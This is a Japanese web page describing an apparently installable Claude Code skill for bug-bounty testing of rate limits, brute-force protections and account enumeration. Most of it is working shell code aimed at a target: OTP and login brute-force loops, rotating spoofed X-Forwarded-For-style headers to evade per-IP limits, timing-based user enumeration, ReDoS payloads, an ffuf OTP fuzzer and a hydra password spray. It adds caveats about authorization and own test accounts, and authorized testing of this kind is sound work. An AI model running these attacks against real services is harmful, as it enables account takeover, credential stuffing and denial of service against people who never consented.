hunt-brute-force について
hunt-brute-forceは、レート制限、ブルートフォース対策、アカウントやトークンの列挙を評価するWebセキュリティテストスキルです。制限の挙動を分類し、誤検知を抑えながら実際に到達できる影響を確認する手順を示します。
主な機能
- 01レート制限状態の分類
- 02OTPとリセットトークンのテスト
- 03ログイン時のアカウント列挙確認
- 04IPベースの制限回避評価
- 05ReDoS検出の手順
- 06影響と誤検知の検証
活用シーン
- 01OTP検証の防御テスト
- 02パスワードリセットトークン制御の確認
- 03有効・無効アカウントの応答比較
- 04クーポン検証のレート制限評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-brute-forceインストール後、Claude Code で/hunt-brute-forceを入力して読み込まれたか確認します。
詳細
HUNT-BRUTE-FORCE — レート制限/ブルートフォース/列挙
根拠に関する注記:このスキルは、公開されている手法の分類に基づいており、HackerOne の名前付きレポートを厳選したものではありません。
report_countは意図的に0にしています。検証できない正確な報奨金額やレポート ID を引用しないでください。公開されていて十分に文書化された事例(例:Laxman Muthiyah による Instagram のパスワードリセット OTP の競合/ローテーションに関する調査、2019~2021 年)は、報奨金の主張ではなく、以下で手法の参考事例として挙げています。
最重要ターゲット
有効なレート制限がない OTP のブルートフォース(6 桁=1,000,000 通り)=重大な ATO バイパス。
価値の高いチェーン:
- OTP/2FA のブルートフォース → MFA バイパス → ATO —
/verify-otpに有効なレート制限がなく、000000~999999 の全キー空間にアクセスできる - パスワードリセットトークンのブルートフォース — 短い/予測可能/有効期限のないトークンにレート制限がない → ATO(Instagram の 2019 年の事例では、6 桁のリセットコード、リクエスト元ごとのレート制限の欠如、IP ローテーションを組み合わせ、10^6 通りを現実的な時間で試せるようにしていました)
- ユーザー名/メールアドレスの列挙 → 標的型クレデンシャルスタッフィング — 応答文字列、ステータスコード、または応答時間で有効/無効を区別でき、その後、漏えい情報のデータセットを使って試行する
- クーポン/ギフトカード/紹介コードのブルートフォース — コード検証にレート制限がない → 金銭的な影響
- ReDoS — 攻撃者が制御する入力がバックトラッキングに極端に時間のかかる正規表現に渡される → CPU 枯渇 → DoS
重大:4 種類のレート制限状態を区別してください
429 がなくても、200/401 が返るからといって「レート制限がない」とは限りません。429/ロックアウトしか確認しないレート制限テストでは、誤検知を見逃します。結論を出す前に、防御の状態を分類してください。約 50 件のリクエストを短時間に送り、応答全体(ステータス、本文、ヘッダー、応答時間、後続処理の成功状況)を確認します。
| 状態 | シグナル | ブルートフォースは依然として可能か? |
|---|---|---|
| ハードアカウントロックアウト | N 回失敗するとアカウントが無効になり、その後は正しい認証情報でも失敗する | いいえ(ただし、ロックアウト自体が DoS の報告対象になる場合があります) |
| ソフト IP スロットリング | 送信元 IP のみを基準に 429 が返る/応答時間が増加する | はい — ヘッダー/IP のローテーションで回避可能(フェーズ 4) |
| CAPTCHA の挿入 | N 回後に 200 が返るものの、本文が CAPTCHA チャレンジに切り替わる | 場合によります — 検証エンドポイントがサーバー側で CAPTCHA を強制しているか、API パスで省略できるか確認してください |
| サイレントなシャドースロットリング | すべてのリクエストに 200/401 が返るものの、送信内容が破棄される — 実際に正しい OTP/パスワードが受け付けられなくなる、または応答が定型化される | ここが落とし穴です。 単純なループで「すべて 200、429 なし」と見て「レート制限なし」と報告するのは誤りです。 |
シャドースロットリング検出器 — 既知の位置に正常と分かっている値を挿入し、負荷がかかっている状態でも機能することを確認します。
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
手順ごとの調査方法
フェーズ 1 — ログインのレート制限テスト(429 を数えるだけでなく、状態を分類する)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
フェーズ 2 — OTP/2FA のブルートフォース
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
フェーズ 3 — ユーザー名/メールアドレスの列挙(文字列、ステータス、応答時間を確認)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
フェーズ 4 — IP/送信元のローテーションによる回避
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
フェーズ 5 — トークンのエントロピー(目測ではなく測定する)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.
フェーズ 6 — ReDoS の検出
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.
自動化
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target
# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
# seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
チェーン表
| 脆弱性 | チェーン先 | 影響 |
|---|---|---|
| OTP に有効なレート制限がない(10^6 通りすべてにアクセス可能) | MFA バイパス → ATO | 重大 |
| パスワードリセットコードのブルートフォース+IP ローテーション | リセット → ATO(Instagram の 2019 年の事例に相当) | 重大 |
| ログインにレート制限がなく、列挙も可能 | 漏えい情報のデータセットを使ったクレデンシャルスタッフィング | 高 |
| X-Forwarded-For などを使った IP バイパス | アプリ上の IP ごとのレート制限をすべて回避 | 高 |
| 予測可能/低エントロピーのリセットトークン | 有効期間内にトークンを推測 → ATO | 高 |
| 公開入力欄での ReDoS | 1 件のリクエストで CPU を枯渇 → DoS | 中~高 |
| 攻撃者が引き起こせるハードロックアウト | 特定アカウントへの DoS(被害者をロックアウト) | 中 |
検証 — 誤検知を避ける
レポートを作成する前に、以下の各項目を確認してください。
- OTP/ログインの「レート制限なし」:
429が返らないことだけでなく、4つの状態すべてで確認します。 シャドースロットルのシードテストに合格しました(バースト負荷時も、既知の有効な値で認証できます)。 ステータスコードだけでなく、レイテンシーと本文サイズも監視しました。 - キー空間全体に関する主張:深刻度は、101個のコードを試した結果ではなく、到達可能性の計算(スループット × コードの有効期間と10^6との比較)によって正当化します。レポートには数値を記載してください。
- 列挙:差異が20サンプル以上で再現可能であり、サーバーポリシーによるもの(例:「このメールアドレスが登録済みの場合、メールを送信しました…」という一般的なメッセージは列挙ではありません)ではなく、サーバー状態(有効なユーザーと無効なユーザーの違い)によるものだと確認します。タイミングを比較する場合は、単一のリクエストではなく、多数のサンプルの中央値を比較します。
- IPローテーションによる回避:ローテーションを無効にすると
429が再び返ることを示して証明します。この差分が証拠であり、1回だけ高速に実行できたことでは証明になりません。 - トークンのエントロピー:「短く見える」ではなく、実測値(Burp Sequencerの有効ビット数、
ent、またはカウンター/タイムスタンプ構造の実証)で裏付けます。 - ReDoS:良性の入力との比較で、レイテンシーが超線形(倍増)に増加することを確認します。線形の増加はReDoSではありません。
- スコープ/影響:実際の結果(認証済みセッション、漏えいしたアカウント一覧、DoS)に到達しましたか?到達可能な影響を伴わないレート制限の欠落は、Mediumではなく情報提供レベルです。
深刻度:
- OTP/MFA/リセットコードの実効的な総当たり攻撃 → ATO経路を実証:Critical
- ログインのレート制限なし + 有効なクレデンシャルスタッフィング/IP回避:High
- 予測可能なセキュリティトークン(低エントロピーを実測):High
- ユーザー名/メールアドレスの列挙のみ:Low–Medium
- 再現可能で意味のあるサーバー遅延を引き起こすReDoS:Medium–High
- 攻撃者が引き起こせる完全なロックアウト(アカウントDoS):Medium
検証
このセルフテストを実行して、総当たり攻撃の準備状況を確認します。
-
FFUFのレート制限テスト — レート制限付きでffufを確認します: PASS:ffufのレート制限が利用可能
-
タイミング分析 — 統計分析を確認します: FAIL
-
ワードリストの利用可否 — パスワードリストを確認します: PASS:SecListsが存在します
3つのテストすべてで、総当たり攻撃のプロービング準備状況を確認します。
注意点
- レート制限を考慮しないテスト —
-rateおよび-tフラグを指定せずに総当たり攻撃を行うと、アカウントロックアウトやIPのブロックが発生します。まずは必ず保守的な設定でテストしてください。 - 単一アカウントでのテスト — 自分のテストアカウントに対する総当たり攻撃では、何も証明できません。攻撃が被害者に対して機能することを実証するには、2つのアカウントが必要です。
- HTTPステータスコードだけを判定基準にする — 200と403の差は誤解を招く場合があります。必ずレスポンス本文を比較してください。有効な認証情報と無効な認証情報で、異なる内容を返しながら200を返すアプリもあります。
- レスポンス時間だけを証拠にする — 単一サンプルでのタイミング差はジッターです。各グループでインターリーブした試行をn>=10回行い、2シグマのしきい値を適用する必要があります。
- ロックアウトポリシーが記録されていない — 対象にN回の試行後にアカウントをロックするポリシーがある場合は、その旨を記録してください。ロックアウトを伴う総当たり攻撃は、高リスクかつ低リターンです。
- 測定なしでトークンのエントロピーを主張する — トークンが予測可能だと主張するには、実測値(Burp Sequencerの有効ビット数、ent、またはカウンター/タイムスタンプ構造の実証)が必要です。
関連スキル
hunt-ato— OTP/MFA のブルートフォースによるバイパスは、アカウント乗っ取りへの直接的な経路です。連鎖の起点:/verify-otpにレート制限がなく、6 桁のキー空間(10^6)がある → 攻撃者がコードの有効期間内に OTP を総当たりする → 被害者として認証される → パスワードなしで完全な ATO を実現する。hunt-mfa-bypass— 6 桁の OTP のブルートフォースは、MFA バイパスパターン 7 種のうちの 1 つ(パターン #4)です。連鎖の起点:OTP 検証エンドポイントがレート制限なしで繰り返しリクエストを受け付け、コードが 6 桁の数字である → 000000~999999 をブルートフォースする → MFA をバイパスする → ATO に至る。hunt-auth-bypass— パスワードリセットまたはメールアドレス確認エンドポイントのレート制限の不備は、認証バイパスの連鎖につながります。連鎖の起点:/password-resetのトークンエンドポイントにレート制限がなく、短い数値トークンを使用している → 有効期間内にリセットトークンを総当たりする → ユーザーの操作なしでアカウントを乗っ取る。hunt-http-smuggling— HTTP/2 Rapid Reset(CVE-2023-44487)は別種のレート制限バイパスです。サーバーがストリームをカウントする前にリセットします。プロトコルレベルでリクエストを償却し、リクエストベースのレート制限を回避する方法を参照してください。hunt-business-logic— クーポン、ギフトカード、紹介コードのブルートフォースは、ビジネスロジックにおけるレート制限の不備です。連鎖の起点:チェックアウト時のクーポン検証にレート制限がない → 攻撃者が既知のプレフィックスから有効なクーポンコードを列挙する → すべての購入で無制限の割引を受ける。hunt-llm-ai— 「パスワードをお忘れですか」機能を持つ LLM ベースのログインフォームでは、バックエンドのレート制限に見えにくい不備がある場合があります。連鎖の起点:AI チャットボットがパスワードリセット用のメールアドレス入力を受け付ける → バックエンドのリセットエンドポイントにレート制限がない → トークンをブルートフォースする → AI 機能経由で ATO に至る。security-arsenal— レート制限バイパステーブル(X-Forwarded-For ローテーションヘッダー、X-Real-IP、X-Client-IP、CF-Connecting-IP、カンマ区切りの IP チェーン、null-origin の SANDBOXED iframe)と、HTTP/2 多重化バイパス手法を活用してください。triage-validation— 報告前に 7 問ゲートを適用してください。レート制限の不備を脆弱性として報告できるのは、ブルートフォースによって何に到達するか(認証済みセッション、OTP 検証、パスワードリセット、金銭的な割引)を実証できる場合に限ります。認証情報のスタッフィングや有効なアカウント一覧がないログインのレート制限不備は、参考情報にとどまる可能性があります。不備だけでなく、影響を確認してください。password-spray-methodology— あらゆるプロトコルに対応する汎用パスワードスプレーのパイプラインとエラーコードの差異